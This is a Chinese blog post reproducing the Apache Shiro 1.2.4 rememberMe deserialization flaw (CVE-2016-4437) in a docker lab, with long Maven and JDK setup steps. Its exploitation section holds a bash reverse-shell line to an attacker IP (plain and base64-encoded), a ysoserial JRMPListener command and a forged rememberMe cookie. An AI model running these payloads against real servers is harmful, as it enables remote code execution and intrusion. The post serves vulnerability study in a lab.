三十六

首页新闻博问专区闪存班级                          我的博客我的园子账号设置退出登录注册登录Zh1z3ven “道阻且长 行则将至” 博客园首页新随笔联系订阅管理随笔 - 102  文章 - 1  评论 - 1 Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 目录环境搭建Apache Shiro特征apache-maven(mvn)安装漏洞复现漏洞利用(反弹shell)Ubuntu切换dash为bash反弹结果参考文章 Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现回到顶部环境搭建docker pull medicean/vulapps:s_shiro_1

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

访问 靶机IP:8080 出现如下图环境即可

回到顶部Apache Shiro特征Cookie中构造rememberMe,返回包会有rememberMe=deleteMe回到顶部apache-maven(mvn)安装官网下载:http://maven.apache.org/download.cgi参考文章:https://blog.csdn.net/youb11/article/details/46120041注意文中apache版本为3.3.3,而官网最新版为3.6.3下载时注意版本号。同时注意最后一行JDK版本。First, install a JDK.

sudo apt-get install openjdk-8-jdk

We need Maven to build ODL. Install the most recent version of Maven

sudo mkdir -p /usr/local/apache-maven

Download the maven source code

wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

Now install maven

sudo mv apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven

sudo tar -xzvf /usr/local/apache-maven/apache-maven-3.6.3-bin.tar.gz -C /usr/local/apache-maven/

sudo update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1

sudo update-alternatives --config mvn

sudo apt-get install vim

vim ~/.bashrc

Add these to your ~/.bashrc

export M2_HOME=/usr/local/apache-maven/apache-maven-3.6.3
export MAVEN_OPTS="-Xms256m -Xmx512m" # Very important to put the “m” on the end
export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 # This matches sudo update-alternatives --config java

(踩坑Orz)执行完mvn package -D skipTests 的报错信息:[INFO] Changes detected - recompiling the module!
[INFO] Compiling 59 source files to /usr/local/ysoserial/target/classes
[WARNING] Unable to autodetect ‘javac’ path, using ‘javac’ from the environment.
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 11:34 min
[INFO] Finished at: 2020-10-10T16:11:52+08:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.5.1:compile (default-compile) on project ysoserial: Compilation failure -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException
可能是jdk版本问题原有的kali的jdk是openjdk使用oracle账号在官网下载JDK,我下载的是jdk-8u261-linux-x64.tar.gzcd /usr/local
mkdir java
mv /root/桌面/jdk-8u261-linux-x64.tar.gz /usr/local/java/
tar -zxvf jdk-8u261-linux-x64.tar.gz
cd jdk-8u261
可以看到有如下目录

root@kali:/usr/local/java/jdk-8u261# ls

jdk1.8.0_261 jdk-# 8u261-linux-x64.tar.gz

将jdk1.8.0_261 移动到(不能cp)/opt目录下
mv jdk1.8.0_261 /opt/

设置环境变量
编辑.bashrc文件
vim ~/.bashrc

添加如下内容

install JAVA JDK

export JAVA_HOME=/opt/jdk1.8.0_261
export CLASSPATH=.: J A V A H O M E / l i b e x p o r t P A T H = {JAVA_HOME}/lib export PATH= JAVAHOME/libexportPATH={JAVA_HOME}/bin:$PATH

加载环境变量
source ~/.bashrc

依次执行以下命令(注意版本)
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_261/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_261/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_261/bin/java
update-alternatives --set javac /opt/jdk1.8.0_261/bin/javac
确认版本无误了之后重新mvn一遍mvn package -D skipTests
如下图,应该是可以了。生成的工具在target/目录ysoserial-0.0.6-SNAPSHOT-all.jar文件回到顶部漏洞复现访问靶机中的环境,利用burpsuite抓包发到repeater模块回到顶部漏洞利用(反弹shell)攻击机nc监听端口nc -lvp 22222
反弹shell命令bash -i >& /dev/tcp/192.168.124.141/22222 0>&1
加密payload需要加密是因为通过Runtime.getRuntime().exec()执行命令的payload有时会因为payload中的管道符或重定向符并不会被正常解析导致执行了错误的payload。网址:http://www.jackson-t.ca/runtime-exec-payloads.html加密后payloadbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC4xNDEvMjIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}
通过ysoserial-0.0.6 ysoserial中的JRMP监听模块,监听 6666 端口并执行反弹shell命令java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC4xNDEvMjIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}’
使用脚本帮我们伪造cookie内容python2 shiro.py 攻击者IP:攻击者监听的java端口
生成好的rememberMe字段值,替换bp中的rememberMe的字段值并重放包即可看到反弹回的shellrememberMe=Kzbs0pSpSxmSLgAgPiIvFq7ntNSoNYXRT1T+Xaa7VeboWH82Qsv07K09H1lQUxoLWw66Gtt8cVCbcG7uq3lzEJnBuwv3LyzzqziufDwME4/1FMp2gi7lzWkfAWGpJKJ/zGnePFYQ84pk0pQVExdVuPmzjQme+Yra6wlmbZEiXuu9/+HrLWJGnDwCzTcoj1ChzG+D3ZRltS2jFGdLuHykNWgmDYP53w/f+2rqydZFaVAjnHVefQ6LYexckDQoCd2R8dZOjV4Qbbys69PZR++h16WOGLhOvDQy/5hGHtvfwaYm7/Sf+h7KuuZVHH+lbdyly8ZWELDdclhnJWu6XBoKYjJV3pX3Qci0oYTiKmBXsJOlMam43Zap0vPJR6I8OPnHra1J/q/J4TONTYU0UUpuHA==
回到顶部Ubuntu切换dash为bashubuntu在6.10版本后默认的sh软链接就变成了dash了(所以在ubuntu搭建的漏洞环境可能默认情况下弹不了shell),而反弹shell一般用的是bash命令,我们改一下sh软链接的指向方便看结果zzw@ubuntu:~/Desktop$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Jul 22 18:42 /bin/sh -> dash
zzw@ubuntu:~/Desktop$ sudo dpkg-reconfigure dash

命令执行完后会弹框,选否即可

[sudo] password for zzw:
Removing ‘diversion of /bin/sh to /bin/sh.distrib by dash’
Adding ‘diversion of /bin/sh to /bin/sh.distrib by bash’
Removing ‘diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by dash’
Adding ‘diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by bash’
zzw@ubuntu:~/Desktop$ ll /bin/sh
lrwxrwxrwx 1 root root 4 Nov 22 22:44 /bin/sh -> bash*
zzw@ubuntu:~/Desktop$

当然也可以用sudo dpkg-reconfigure dash 改回去

回到顶部反弹结果ps:(vulhub的环境弹shell有问题,vulapps的可以成功复现)回到顶部参考文章https://www.cnblogs.com/wwlww/p/8410174.htmlhttps://www.cnblogs.com/panisme/p/12552838.htmlhttps://mp.weixin.qq.com/s/8F5tmbJsE0SshrYK-fRl-ghttps://www.cnblogs.com/renhaoblog/p/12971152.html所有内容仅限于维护网络安全学习参考 分类: 漏洞复现好文要顶 关注我 收藏该文 Zh1z3ven
关注 - 17
粉丝 - 10 +加关注 0 0

« 上一篇: python-scrapy框架学习 posted @ 2020-11-23 16:14  Zh1z3ven  阅读(118)  评论(0)  编辑  收藏

刷新评论刷新页面返回顶部

发表评论 【福利】注册AWS账号,立享12个月免费套餐 编辑预览 7693b08a-a8f6-49f3-f45a-08d88556cc23 Markdown 帮助自动补全 不改了退出 订阅评论 [Ctrl+Enter快捷键提交]

首页 新闻 博问 专区 闪存 班级 【推荐】News: 大型组态、工控、仿真、CADGIS 50万行VC++源码免费下载
【推荐】从零开始的RPG游戏制作教程,来《魔兽争霸III》共同成长
【推荐】了不起的开发者,挡不住的华为,园子里的品牌专区
【推荐】未知数的距离,毫秒间的传递,声网与你实时互动
【福利】AWS携手博客园为开发者送免费套餐与抵扣券
【推荐】 阿里云折扣价格返场,错过再等一年
相关博文:
· (CVE-2016-5195)脏牛本地提权
· 【黑马JavaWeb】.1.2反射机制
· apachehttpd反向代理的用法
· apacheshiro与spring整合、动态filterChainDefinitions、以及认证、授权
· Shiro
» 更多推荐…最新 IT 新闻:
· 整整10年了!这就是微信的第一段代码
· Google Assistant现在可以用来控制智能灯具
· 微软投资2700万欧元在爱尔兰开设工程中心 设立200个新岗位
· 开发人员已进行175小时《赛博朋克2077》 仍未打完
· 谷歌Stadia云游戏即将在iPhone上推出公测版本
» 更多新闻… 历史上的今天:
2019-11-23 利用三层交换机实现VLAN间路由(计算机网络中速率、带宽、吞吐量的概念)

公告 昵称: Zh1z3ven
园龄: 1年1个月
粉丝: 10
关注: 17 +加关注

< 2020年11月> 日一二三四五六1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 1 2 3 4 5 6 7 8 9 10 11 12

搜索    常用链接 我的随笔我的评论我的参与最新评论我的标签 随笔分类 dvwa(9) Linux学习(14) Nmap(2) pikachu(12) Python(1) sqli-labs(15) XSS-labs(4) 靶机(3) 环境搭建(2) 漏洞复现(14) 内网渗透(2) 网络eNSP(14) 问题解决(10) 随笔档案 2020年11月(3) 2020年10月(5) 2020年9月(9) 2020年7月(4) 2020年6月(2) 2020年5月(8) 2020年4月(9) 2020年3月(30) 2020年2月(2) 2019年12月(9) 2019年11月(14) 2019年10月(7) 相册 背景(2) 最新评论1. Re:Typora+Markdown便捷发布blog学到了~–WindStream阅读排行榜 1. OSPF多区域配置;骨干区域与非骨干区域;ABR边界路由器;LSA和SPF算法(1848) 2. 搭建RAID5(5块硬盘)过程并模拟一块磁盘损坏情况(1807) 3. Linux vsftpd服务配置以及三种验证方式以及常见错误解决办法(1067) 4. STP基本概念及实验(1014) 5. 解决docker-compose下载过慢(590) 评论排行榜 1. Typora+Markdown便捷发布blog(1) 推荐排行榜 1. 记一次解密wireshark抓取的冰蝎通信流量(1) 2. DNS域名解析服务以及Bind服务程序(1)

Copyright © 2020 Zh1z3ven
Powered by .NET 5.0.0 on Kubernetes

你可能感兴趣的:(三十六)